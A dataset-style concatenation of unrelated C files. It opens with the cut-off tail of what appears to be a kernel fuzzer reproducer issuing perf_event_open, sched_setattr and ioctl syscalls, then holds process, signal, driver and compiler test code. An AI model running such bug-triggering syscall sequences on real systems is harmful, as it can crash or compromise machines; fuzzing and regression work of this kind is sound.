*(uint64_t*)0x2001d020 = 0;
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 0, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 1, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 2, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 3, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 4, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 5, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 6, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 7, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 8, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 9, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 10, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 11, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 12, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 13, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 14, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 15, 2);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 17, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 18, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 19, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 20, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 21, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 22, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 23, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 24, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 25, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 26, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 27, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 28, 1);
STORE_BY_BITMASK(uint64_t, , 0x2001d028, 0, 29, 35);
*(uint32_t*)0x2001d030 = 0;
*(uint32_t*)0x2001d034 = 0;
*(uint64_t*)0x2001d038 = 0;
*(uint64_t*)0x2001d040 = 0;
*(uint64_t*)0x2001d048 = 0;
*(uint64_t*)0x2001d050 = 0x80000004;
*(uint32_t*)0x2001d058 = 0;
*(uint32_t*)0x2001d05c = 0;
*(uint64_t*)0x2001d060 = 0;
*(uint32_t*)0x2001d068 = 0;
*(uint16_t*)0x2001d06c = 0;
*(uint16_t*)0x2001d06e = 0;
syscall(__NR_perf_event_open, 0x2001d000, 0, -1, -1, 0);
*(uint32_t*)0x20000080 = 0;
*(uint32_t*)0x20000084 = 2;
*(uint64_t*)0x20000088 = 0;
*(uint32_t*)0x20000090 = 0;
*(uint32_t*)0x20000094 = 3;
*(uint64_t*)0x20000098 = 0;
*(uint64_t*)0x200000a0 = 0;
*(uint64_t*)0x200000a8 = 0;
syscall(__NR_sched_setattr, 0, 0x20000080, 0);
*(uint64_t*)0x200001c0 = 0;
syscall(__NR_ioctl, r[0], 0x80000040045010, 0x200001c0);
syscall(__NR_read, r[0], 0x20000180, 8);
return 0;
}
|
the_stack_data/50320.c | #include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void
charoutput(char *s)
{
char c;
sleep(1);
setbuf(stdout, NULL);
for ( c; (c = *s++) != 0; ) {
putc((int)c, stdout);
}
}
/**
* 父子进程的竞争条件.
*
* (每次运行输出可能不一样.)
*
* @farwish
*/
int main(void)
{
pid_t pid;
printf("start.\n");
if ( (pid = fork()) < 0 )
{
printf("fork error\n");
}
else if ( pid == 0 ) // child
{
charoutput("inChild\n");
}
else // parent
{
charoutput("inParent\n");
}
printf("DONE.\n");
return 0;
}
|
the_stack_data/944638.c | #include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
/*
Il programma e' identico al precedente con kill(), si e' solo sostituita la
funzione.
*/
static void signal_handler(int signum);
int main(int argc, char* argv[])
{
pid_t pid;
if (signal(SIGUSR1, signal_handler) == SIG_ERR) {
fprintf(stderr, "Err.(%s) signal() main failed\n", strerror(errno));
exit(EXIT_FAILURE);
}
switch (pid = fork()) {
case -1:
fprintf(stderr, "Err.(%s) fork() failed\n", strerror(errno));
exit(EXIT_FAILURE);
case 0:
printf("Figlio, PID: %ld\n", (long)getpid());
/* La funzione raise() invia al processo corrente il segnale
SIGUSR1 */
if (raise(SIGUSR1) == -1) {
fprintf(stderr, "Err.(%s) raise() failed()\n", strerror(errno));
exit(EXIT_FAILURE);
}
exit(EXIT_SUCCESS);
default:
printf("Padre, PID: %ld\n", (long)getpid());
sleep(1);
exit(EXIT_SUCCESS);
}
return (EXIT_SUCCESS);
}
static void signal_handler(int signum)
{
printf("PID: %ld - Ricevuto segnale %d\n", (long)getpid(), signum);
}
|
the_stack_data/220456489.c | #define tcgetattr _tcgetattr
#define ioctl _ioctl
#include <sys/ioctl.h>
#include <errno.h>
#include <termios.h>
int tcgetattr(fd, termios_p)
int fd;
struct termios *termios_p;
{
return(ioctl(fd, TCGETS, termios_p));
}
|
the_stack_data/8227.c | /***
* This code is a part of EvoApproxLib library (ehw.fit.vutbr.cz/approxlib) distributed under The MIT License.
* When used, please cite the following article(s): V. Mrazek, R. Hrbacek, Z. Vasicek and L. Sekanina, "EvoApprox8b: Library of approximate adders and multipliers for circuit design and benchmarking of approximation methods". Design, Automation & Test in Europe Conference & Exhibition (DATE), 2017, Lausanne, 2017, pp. 258-261. doi: 10.23919/DATE.2017.7926993
* This file contains a circuit from evoapprox8b dataset. Note that a new version of library was already published.
***/
#include <stdint.h>
#include <stdlib.h>
/// Approximate function add8_378
/// Library = EvoApprox8b
/// Circuit = add8_378
/// Area (180) = 876
/// Delay (180) = 1.590
/// Power (180) = 222.70
/// Area (45) = 64
/// Delay (45) = 0.590
/// Power (45) = 21.84
/// Nodes = 14
/// HD = 140480
/// MAE = 1.73438
/// MSE = 6.17188
/// MRE = 0.88 %
/// WCE = 7
/// WCRE = 100 %
/// EP = 71.7 %
uint16_t add8_378(uint8_t a, uint8_t b)
{
uint16_t c = 0;
uint8_t n0 = (a >> 0) & 0x1;
uint8_t n2 = (a >> 1) & 0x1;
uint8_t n4 = (a >> 2) & 0x1;
uint8_t n6 = (a >> 3) & 0x1;
uint8_t n8 = (a >> 4) & 0x1;
uint8_t n10 = (a >> 5) & 0x1;
uint8_t n12 = (a >> 6) & 0x1;
uint8_t n14 = (a >> 7) & 0x1;
uint8_t n18 = (b >> 1) & 0x1;
uint8_t n20 = (b >> 2) & 0x1;
uint8_t n22 = (b >> 3) & 0x1;
uint8_t n24 = (b >> 4) & 0x1;
uint8_t n26 = (b >> 5) & 0x1;
uint8_t n28 = (b >> 6) & 0x1;
uint8_t n30 = (b >> 7) & 0x1;
uint8_t n32;
uint8_t n34;
uint8_t n40;
uint8_t n66;
uint8_t n75;
uint8_t n82;
uint8_t n84;
uint8_t n85;
uint8_t n127;
uint8_t n132;
uint8_t n182;
uint8_t n183;
uint8_t n232;
uint8_t n233;
uint8_t n282;
uint8_t n283;
uint8_t n332;
uint8_t n333;
uint8_t n382;
uint8_t n383;
n32 = ~(n20 & n4 & n0);
n34 = ~n32;
n40 = ~(n14 | n30 | n12);
n66 = n40 & n34;
n75 = n66;
n82 = n2 | n18;
n84 = n75;
n85 = n75;
n127 = ~n85;
n132 = n4 | n20;
n182 = (n6 ^ n22) ^ n84;
n183 = (n6 & n22) | (n22 & n84) | (n6 & n84);
n232 = (n8 ^ n24) ^ n183;
n233 = (n8 & n24) | (n24 & n183) | (n8 & n183);
n282 = (n10 ^ n26) ^ n233;
n283 = (n10 & n26) | (n26 & n233) | (n10 & n233);
n332 = (n12 ^ n28) ^ n283;
n333 = (n12 & n28) | (n28 & n283) | (n12 & n283);
n382 = (n14 ^ n30) ^ n333;
n383 = (n14 & n30) | (n30 & n333) | (n14 & n333);
c |= (n127 & 0x1) << 0;
c |= (n82 & 0x1) << 1;
c |= (n132 & 0x1) << 2;
c |= (n182 & 0x1) << 3;
c |= (n232 & 0x1) << 4;
c |= (n282 & 0x1) << 5;
c |= (n332 & 0x1) << 6;
c |= (n382 & 0x1) << 7;
c |= (n383 & 0x1) << 8;
return c;
}
|
the_stack_data/132951862.c | #include <stdio.h>
int add4_c(int a, int b, int c, int d);
int add4_s(int a, int b, int c, int d);
int main(int argc, char **argv) {
printf("add4_c: %d\n", add4_c(1, 2, 3, 4));
printf("add4_s: %d\n", add4_s(1, 2, 3, 4));
return 0;
}
|
the_stack_data/416040.c | struct {
int a
} * b;
c;
d() {
int e;
for (; e < c; e++)
b[e].a = 1 + e + e;
}
|
the_stack_data/38962.c |
#include <stdio.h>
#include <stdint.h>
// the task is to find the longest gap of 0's in a binary representation of number
// you can write to stdout for debugging purposes, e.g.
// printf("this is a debug message\n");
#include <math.h>
int main()
{
solution(32) ;
}
int solution(int N) {
unsigned int i=0 , cnt = 0 ,n2=0;
unsigned int st =0 ;
// array to store binary number
int a[64];
// counter for binary array
while (N > 0) {
// storing remainder in binary array
a[i] = N % 2;
N = N / 2;
//printf("%d", a[i]) ;
i++;
}
a[i] = 2;
//len = (int)log2(N)+1;
i=0 ;
//printf("%d\n", len);
while(a[i] != 2)
{
//printf("%d,",a[i]) ;
i++;
}
i=0 ;
while(a[i] != 2)
{
if(a[i] == 1 && st == 0) // start condition
{
cnt = 0 ;
st = 1 ;
}
if(a[i] == 0 && st == 1) //
{
cnt++ ;
}
if(a[i] == 1 && st == 1) // end condition
{
if(cnt > n2)
{
n2 = cnt ;
}
//st = 0 ;
cnt = 0 ;
}
i++ ;
}
printf("%d\n", n2);
return n2 ;
// write your code in C99 (gcc 6.2.0)
}
|
the_stack_data/97120.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
int pthflag = 0;
void newthread(void)
{
printf("newthread is running\n");
sleep(3);
printf("newthread is running\n");
pthflag = 1;
pthread_exit(NULL);
}
int main()
{
pthread_t pth;
pthread_attr_t attr;
int res;
res = pthread_attr_init(&attr);
if (res)
{
printf("set thread fail\n");
exit(1);
}
res = pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
if (res)
{
printf("set detach fail\n");
exit(1);
}
res = pthread_create(&pth, &attr, (void *)newthread, NULL);
if (res)
{
printf("create thread fail\n");
exit(1);
}
while (!pthflag)
{
printf("wating for thread\n");
sleep(1);
}
printf("thread already done\n");
return 0;
}
|
the_stack_data/1126540.c | /*
!!DESCRIPTION!!
!!ORIGIN!! SDCC regression tests
!!LICENCE!! GPL, read COPYING.GPL
*/
#include <stdio.h>
#include <limits.h>
unsigned char success = 0;
unsigned char failures = 0;
unsigned char dummy = 0;
#ifdef SUPPORT_BIT_TYPES
bit bit0 = 0;
#endif
unsigned int uint0 = 0;
unsigned int uint1 = 0;
unsigned char uchar0 = 0;
unsigned char uchar1 = 0;
unsigned char call3 (void);
void
done ()
{
dummy++;
}
void
call1 (unsigned char uc0)
{
if (uc0)
failures++;
}
void
call2 (unsigned int ui0)
{
if (ui0)
failures++;
}
unsigned char
call3 (void)
{
if (uchar0)
failures++;
return (failures);
}
unsigned int
call4 (void)
{
unsigned int i = 0;
if (uint0)
i++;
return (i);
}
unsigned int
call5 (unsigned int k)
{
if (k)
failures++;
return (k);
}
unsigned char
call6a(unsigned char uc)
{
if(uc>uchar1)
return 1;
else
return 0;
}
unsigned char
call6(unsigned char uc)
{
return(call6a(uc));
}
unsigned int
call7a(unsigned int ui)
{
if(ui)
return 1;
else
return 0;
}
unsigned int
call7(unsigned int ui)
{
return(call7a(ui));
}
unsigned char
call8(unsigned char uc1,unsigned char uc2)
{
return uc1+uc2;
}
void call9(unsigned int ui1, unsigned int ui2)
{
if(ui1 != 0x1234)
failures++;
if(ui2 != 0x5678)
failures++;
}
int
main (void)
{
call1 (uchar0);
call2 (uint0);
uchar1 = call3 ();
uint1 = call4 ();
if (uint1)
failures++;
uint1 = call5 (uint0);
if (uint1)
failures++;
if(call6(uchar0))
failures++;
if(call7(0))
failures++;
if(!call7(1))
failures++;
if(!call7(0xff00))
failures++;
uchar0=4;
uchar1=3;
uchar0 = call8(uchar0,uchar1);
if(uchar0 != 7)
failures++;
call9(0x1234,0x5678);
success = failures;
done ();
printf("failures: %d\n",failures);
return failures;
}
|
the_stack_data/167330037.c | #include <stdio.h>
#include <stdlib.h>
int main(){
double t;
scanf("%llu",&t);
printf("%.1022lf\n",t);
return 0;
} |
the_stack_data/538773.c | #include <stdlib.h>
/* Simple alignment checks;
looking for compiler/assembler alignment disagreements,
agreement between struct initialization and access. */
struct a_short { char c; short s; } s_c_s = { 'a', 13 };
struct a_int { char c ; int i; } s_c_i = { 'b', 14 };
struct b_int { short s; int i; } s_s_i = { 15, 16 };
struct a_float { char c; float f; } s_c_f = { 'c', 17.0 };
struct b_float { short s; float f; } s_s_f = { 18, 19.0 };
struct a_double { char c; double d; } s_c_d = { 'd', 20.0 };
struct b_double { short s; double d; } s_s_d = { 21, 22.0 };
struct c_double { int i; double d; } s_i_d = { 23, 24.0 };
struct d_double { float f; double d; } s_f_d = { 25.0, 26.0 };
struct a_ldouble { char c; long double ld; } s_c_ld = { 'e', 27.0 };
struct b_ldouble { short s; long double ld; } s_s_ld = { 28, 29.0 };
struct c_ldouble { int i; long double ld; } s_i_ld = { 30, 31.0 };
struct d_ldouble { float f; long double ld; } s_f_ld = { 32.0, 33.0 };
struct e_ldouble { double d; long double ld; } s_d_ld = { 34.0, 35.0 };
int main ()
{
if (s_c_s.c != 'a') abort ();
if (s_c_s.s != 13) abort ();
if (s_c_i.c != 'b') abort ();
if (s_c_i.i != 14) abort ();
if (s_s_i.s != 15) abort ();
if (s_s_i.i != 16) abort ();
if (s_c_f.c != 'c') abort ();
if (s_c_f.f != 17.0) abort ();
if (s_s_f.s != 18) abort ();
if (s_s_f.f != 19.0) abort ();
if (s_c_d.c != 'd') abort ();
if (s_c_d.d != 20.0) abort ();
if (s_s_d.s != 21) abort ();
if (s_s_d.d != 22.0) abort ();
if (s_i_d.i != 23) abort ();
if (s_i_d.d != 24.0) abort ();
if (s_f_d.f != 25.0) abort ();
if (s_f_d.d != 26.0) abort ();
if (s_c_ld.c != 'e') abort ();
if (s_c_ld.ld != 27.0) abort ();
if (s_s_ld.s != 28) abort ();
if (s_s_ld.ld != 29.0) abort ();
if (s_i_ld.i != 30) abort ();
if (s_i_ld.ld != 31.0) abort ();
if (s_f_ld.f != 32.0) abort ();
if (s_f_ld.ld != 33.0) abort ();
if (s_d_ld.d != 34.0) abort ();
if (s_d_ld.ld != 35.0) abort ();
return 0;
}
|
the_stack_data/1176908.c | // createed by dmytro beldii, 2018
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char x[128][10];
int compare(const void *a, const void *b)
{
char *x = (char *)a;
char *y = (char *)b;
for (int i = 0; i < 10; i++)
{
if (x[i] < y[i])
{
return -1;
}
else
{
if (x[i] == y[i])
{
continue;
}
else
{
return 1;
}
}
}
return 0;
}
int main()
{
int n = 128;
scanf("%d", &n);
for (int i = 0; i < n; i++)
{
scanf("%s", x[i]);
char temp[10] = {x[i][6], x[i][7], x[i][8], x[i][9], '/', x[i][3], x[i][4], '/', x[i][0], x[i][1]};
for (int j = 0; j < 10; j++)
{
x[i][j] = temp[j];
}
// printf("%s\n", x[i]);
// printf("%s\n", x[0]);
}
qsort(x, n, 8 * sizeof(char), compare);
for (int i = 0; i < n; i++)
{
printf("%s\n", x[i]);
}
return 0;
} |
the_stack_data/109951.c | /**
* @file xmc_eth_phy_dp83848.c
* @date 2018-08-06
*
* @cond
*********************************************************************************************************************
* XMClib v2.1.20 - XMC Peripheral Driver Library
*
* Copyright (c) 2015-2018, Infineon Technologies AG
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,are permitted provided that the
* following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following
* disclaimer.
*
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided with the distribution.
*
* Neither the name of the copyright holders nor the names of its contributors may be used to endorse or promote
* products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY,OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* To improve the quality of the software, users are encouraged to share modifications, enhancements or bug fixes with
* Infineon Technologies AG [email protected]).
*********************************************************************************************************************
*
* Change History
* --------------
*
* 2015-06-20:
* - Initial <br>
*
* 2015-12-15:
* - Added Reset and exit power down
* - Reset function called in Init function
*
* 2018-08-06:
* - Fixed XMC_ETH_PHY_Init waiting for PHY MDIO being ready
*
* @endcond
*/
/*******************************************************************************
* HEADER FILES
*******************************************************************************/
#if defined(XMC_ETH_PHY_DP83848C)
#include <xmc_eth_phy.h>
/*******************************************************************************
* MACROS
*******************************************************************************/
/* Basic Registers */
#define REG_BMCR (0x00U) /* Basic Mode Control Register */
#define REG_BMSR (0x01U) /* Basic Mode Status Register */
#define REG_PHYIDR1 (0x02U) /* PHY Identifier 1 */
#define REG_PHYIDR2 (0x03U) /* PHY Identifier 2 */
#define REG_ANAR (0x04U) /* Auto-Negotiation Advertisement */
#define REG_ANLPAR (0x05U) /* Auto-Neg. Link Partner Abitily */
#define REG_ANER (0x06U) /* Auto-Neg. Expansion Register */
#define REG_ANNPTR (0x07U) /* Auto-Neg. Next Page TX */
#define REG_RBR (0x17U) /* RMII and Bypass Register */
/* Extended Registers */
#define REG_PHYSTS (0x10U) /* Status Register */
/* Basic Mode Control Register */
#define BMCR_RESET (0x8000U) /* Software Reset */
#define BMCR_LOOPBACK (0x4000U) /* Loopback mode */
#define BMCR_SPEED_SEL (0x2000U) /* Speed Select (1=100Mb/s) */
#define BMCR_ANEG_EN (0x1000U) /* Auto Negotiation Enable */
#define BMCR_POWER_DOWN (0x0800U) /* Power Down */
#define BMCR_ISOLATE (0x0400U) /* Isolate Media interface */
#define BMCR_REST_ANEG (0x0200U) /* Restart Auto Negotiation */
#define BMCR_DUPLEX (0x0100U) /* Duplex Mode (1=Full duplex) */
#define BMCR_COL_TEST (0x0080U) /* Collision Test */
/* Basic Mode Status Register */
#define BMSR_100B_T4 (0x8000U) /* 100BASE-T4 Capable */
#define BMSR_100B_TX_FD (0x4000U) /* 100BASE-TX Full Duplex Capable */
#define BMSR_100B_TX_HD (0x2000U) /* 100BASE-TX Half Duplex Capable */
#define BMSR_10B_T_FD (0x1000U) /* 10BASE-T Full Duplex Capable */
#define BMSR_10B_T_HD (0x0800U) /* 10BASE-T Half Duplex Capable */
#define BMSR_MF_PRE_SUP (0x0040U) /* Preamble suppression Capable */
#define BMSR_ANEG_COMPL (0x0020U) /* Auto Negotiation Complete */
#define BMSR_REM_FAULT (0x0010U) /* Remote Fault */
#define BMSR_ANEG_ABIL (0x0008U) /* Auto Negotiation Ability */
#define BMSR_LINK_STAT (0x0004U) /* Link Status (1=established) */
#define BMSR_JABBER_DET (0x0002U) /* Jaber Detect */
#define BMSR_EXT_CAPAB (0x0001U) /* Extended Capability */
/* RMII and Bypass Register */
#define RBR_RMII_MODE (0x0020U) /* Reduced MII Mode */
/* PHY Identifier Registers */
#define PHY_ID1 0x2000 /* DP83848C Device Identifier MSB */
#define PHY_ID2 0x5C90 /* DP83848C Device Identifier LSB */
/* PHY Status Register */
#define PHYSTS_MDI_X 0x4000 /* MDI-X mode enabled by Auto-Negot. */
#define PHYSTS_REC_ERR 0x2000 /* Receive Error Latch */
#define PHYSTS_POL_STAT 0x1000 /* Polarity Status */
#define PHYSTS_FC_SENSE 0x0800 /* False Carrier Sense Latch */
#define PHYSTS_SIG_DET 0x0400 /* 100Base-TX Signal Detect */
#define PHYSTS_DES_LOCK 0x0200 /* 100Base-TX Descrambler Lock */
#define PHYSTS_PAGE_REC 0x0100 /* Link Code Word Page Received */
#define PHYSTS_MII_INT 0x0080 /* MII Interrupt Pending */
#define PHYSTS_REM_FAULT 0x0040 /* Remote Fault */
#define PHYSTS_JABBER_DET 0x0020 /* Jabber Detect */
#define PHYSTS_ANEG_COMPL 0x0010 /* Auto Negotiation Complete */
#define PHYSTS_LOOPBACK 0x0008 /* Loopback Status */
#define PHYSTS_DUPLEX 0x0004 /* Duplex Status (1=Full duplex) */
#define PHYSTS_SPEED 0x0002 /* Speed10 Status (1=10MBit/s) */
#define PHYSTS_LINK_STAT 0x0001 /* Link Status (1=established) */
/*******************************************************************************
* API IMPLEMENTATION
*******************************************************************************/
/* Check if the device identifier is valid */
static int32_t XMC_ETH_PHY_IsDeviceIdValid(XMC_ETH_MAC_t *const eth_mac, uint8_t phy_addr)
{
uint16_t phy_id1;
uint16_t phy_id2;
XMC_ETH_PHY_STATUS_t status;
/* Check Device Identification. */
if ((XMC_ETH_MAC_ReadPhy(eth_mac, phy_addr, REG_PHYIDR1, &phy_id1) == XMC_ETH_MAC_STATUS_OK) &&
(XMC_ETH_MAC_ReadPhy(eth_mac, phy_addr, REG_PHYIDR2, &phy_id2) == XMC_ETH_MAC_STATUS_OK))
{
if ((phy_id1 == PHY_ID1) && ((phy_id2 & (uint16_t)0xfff0) == PHY_ID2))
{
status = XMC_ETH_PHY_STATUS_OK;
}
else
{
status = XMC_ETH_PHY_STATUS_ERROR_DEVICE_ID;
}
}
else
{
status = XMC_ETH_PHY_STATUS_ERROR_TIMEOUT;
}
return (int32_t)status;
}
/* PHY initialize */
int32_t XMC_ETH_PHY_Init(XMC_ETH_MAC_t *const eth_mac, uint8_t phy_addr, const XMC_ETH_PHY_CONFIG_t *const config)
{
uint32_t retries = 0xffffffffUL;
int32_t status;
uint16_t reg_val;
while (((status = XMC_ETH_PHY_IsDeviceIdValid(eth_mac, phy_addr)) != XMC_ETH_PHY_STATUS_OK) && --retries);
if (status == (int32_t)XMC_ETH_PHY_STATUS_OK)
{
status = XMC_ETH_PHY_Reset(eth_mac, phy_addr);
if (status == (int32_t)XMC_ETH_PHY_STATUS_OK)
{
reg_val = 0U;
if (config->speed == XMC_ETH_LINK_SPEED_100M)
{
reg_val |= BMCR_SPEED_SEL;
}
if (config->duplex == XMC_ETH_LINK_DUPLEX_FULL)
{
reg_val |= BMCR_DUPLEX;
}
if (config->enable_auto_negotiate == true)
{
reg_val |= BMCR_ANEG_EN;
}
if (config->enable_loop_back == true)
{
reg_val |= BMCR_LOOPBACK;
}
status = (int32_t)XMC_ETH_MAC_WritePhy(eth_mac, phy_addr, REG_BMCR, reg_val);
if (status == (int32_t)XMC_ETH_PHY_STATUS_OK)
{
/* Configure interface mode */
switch (config->interface)
{
case XMC_ETH_LINK_INTERFACE_MII:
reg_val = 0x0001;
break;
case XMC_ETH_LINK_INTERFACE_RMII:
reg_val = RBR_RMII_MODE | 0x0001;
break;
}
status = (int32_t)XMC_ETH_MAC_WritePhy(eth_mac, phy_addr, REG_RBR, reg_val);
}
}
}
return status;
}
/* Reset */
int32_t XMC_ETH_PHY_Reset(XMC_ETH_MAC_t *const eth_mac, uint8_t phy_addr)
{
int32_t status;
uint16_t reg_bmcr;
/* Reset PHY*/
status = (int32_t)XMC_ETH_MAC_WritePhy(eth_mac, phy_addr, REG_BMCR, BMCR_RESET);
if (status == (int32_t)XMC_ETH_PHY_STATUS_OK)
{
/* Wait for the reset to complete */
do
{
status = XMC_ETH_MAC_ReadPhy(eth_mac, phy_addr, REG_BMCR, ®_bmcr);
} while ((reg_bmcr & BMCR_RESET) != 0);
}
return status;
}
/* Initiate power down */
int32_t XMC_ETH_PHY_PowerDown(XMC_ETH_MAC_t *const eth_mac, uint8_t phy_addr)
{
int32_t status;
uint16_t reg_bmcr;
status = XMC_ETH_MAC_ReadPhy(eth_mac, phy_addr, REG_BMCR, ®_bmcr);
if (status == (int32_t)XMC_ETH_PHY_STATUS_OK)
{
reg_bmcr |= BMCR_POWER_DOWN;
status = (int32_t)XMC_ETH_MAC_WritePhy(eth_mac, phy_addr, REG_BMCR, reg_bmcr);
}
return status;
}
/* Exit power down */
int32_t XMC_ETH_PHY_ExitPowerDown(XMC_ETH_MAC_t *const eth_mac, uint8_t phy_addr)
{
int32_t status;
uint16_t reg_bmcr;
status = XMC_ETH_MAC_ReadPhy(eth_mac, phy_addr, REG_BMCR, ®_bmcr);
if (status == (int32_t)XMC_ETH_PHY_STATUS_OK)
{
reg_bmcr &= ~BMCR_POWER_DOWN;
status = (int32_t)XMC_ETH_MAC_WritePhy(eth_mac, phy_addr, REG_BMCR, reg_bmcr);
}
return status;
}
/* Get link status */
XMC_ETH_LINK_STATUS_t XMC_ETH_PHY_GetLinkStatus(XMC_ETH_MAC_t *const eth_mac, uint8_t phy_addr)
{
uint16_t val;
XMC_ETH_MAC_ReadPhy(eth_mac, phy_addr, REG_BMSR, &val);
return (XMC_ETH_LINK_STATUS_t)((val & BMSR_LINK_STAT) ? XMC_ETH_LINK_STATUS_UP : XMC_ETH_LINK_STATUS_DOWN);
}
/* Get link speed */
XMC_ETH_LINK_SPEED_t XMC_ETH_PHY_GetLinkSpeed(XMC_ETH_MAC_t *const eth_mac, uint8_t phy_addr)
{
uint16_t val;
XMC_ETH_MAC_ReadPhy(eth_mac, phy_addr, REG_PHYSTS, &val);
return (XMC_ETH_LINK_SPEED_t)((val & PHYSTS_SPEED) ? XMC_ETH_LINK_SPEED_10M : XMC_ETH_LINK_SPEED_100M);
}
/* Get link duplex settings */
XMC_ETH_LINK_DUPLEX_t XMC_ETH_PHY_GetLinkDuplex(XMC_ETH_MAC_t *const eth_mac, uint8_t phy_addr)
{
uint16_t val;
XMC_ETH_MAC_ReadPhy(eth_mac, phy_addr, REG_PHYSTS, &val);
return (XMC_ETH_LINK_DUPLEX_t)((val & PHYSTS_DUPLEX) ? XMC_ETH_LINK_DUPLEX_FULL : XMC_ETH_LINK_DUPLEX_HALF);
}
bool XMC_ETH_PHY_IsAutonegotiationCompleted(XMC_ETH_MAC_t *const eth_mac, uint8_t phy_addr)
{
uint16_t val;
XMC_ETH_MAC_ReadPhy(eth_mac, phy_addr, REG_BMSR, &val);
return ((val & BMSR_ANEG_COMPL) == BMSR_ANEG_COMPL);
}
#endif // defined(XMC_ETH_PHY_DP83848C)
|
the_stack_data/86074926.c | #include <stdio.h>
void ft_putnbr_base(int nbr, char *base);
void ft_putchar(char c);
int main(void)
{
// base binaria
printf("Bases binarias, n = 47. \"01\" e \"\\/\"\n");
ft_putnbr_base(47, "01");
ft_putchar('\n');
printf("Esperado: 101111\n");
ft_putnbr_base(47, "\\/");
ft_putchar('\n');
printf("Esperado: /\\////\n");
// base 5
printf("Bases 5, n = 36. \"01345\" e \"sd2ek\"\n");
ft_putnbr_base(36, "01345");
ft_putchar('\n');
printf("Esperado: 131\n");
ft_putnbr_base(36, "sd2ek");
ft_putchar('\n');
printf("Esperado: d2d\n");
// base 10
printf("Bases 10, n = %ld. \"0123456789\" e \",.;\\][{}@#\"\n", -2147483648);
ft_putnbr_base(-2147483648, "0123456789");
ft_putchar('\n');
printf("Esperado: -2147483648\n");
ft_putnbr_base(-2147483648, ",.;\\][{}@#");
ft_putchar('\n');
printf("Esperado: -;.]}]@\\{]@\n");
// base 16
printf("Bases 16, n = -65040. \"0123456789ABCDEF\" e \"jdlskmnMKZxVuzfa\"\n");
ft_putnbr_base(-65040, "0123456789ABCDEF");
ft_putchar('\n');
printf("Esperado: -FE10\n");
ft_putnbr_base(-65040, "jdlskmnMKZxVuzfa");
ft_putchar('\n');
printf("Esperado: -afdj\n");
// base 0 e base 1, nao pode aparecer nada
printf("Bases 0 e 1, nao deve aparecer nada, n = 256.\n");
ft_putnbr_base(-29092, "0");
ft_putnbr_base(-29092, "");
return (0);
} |
Subsets and Splits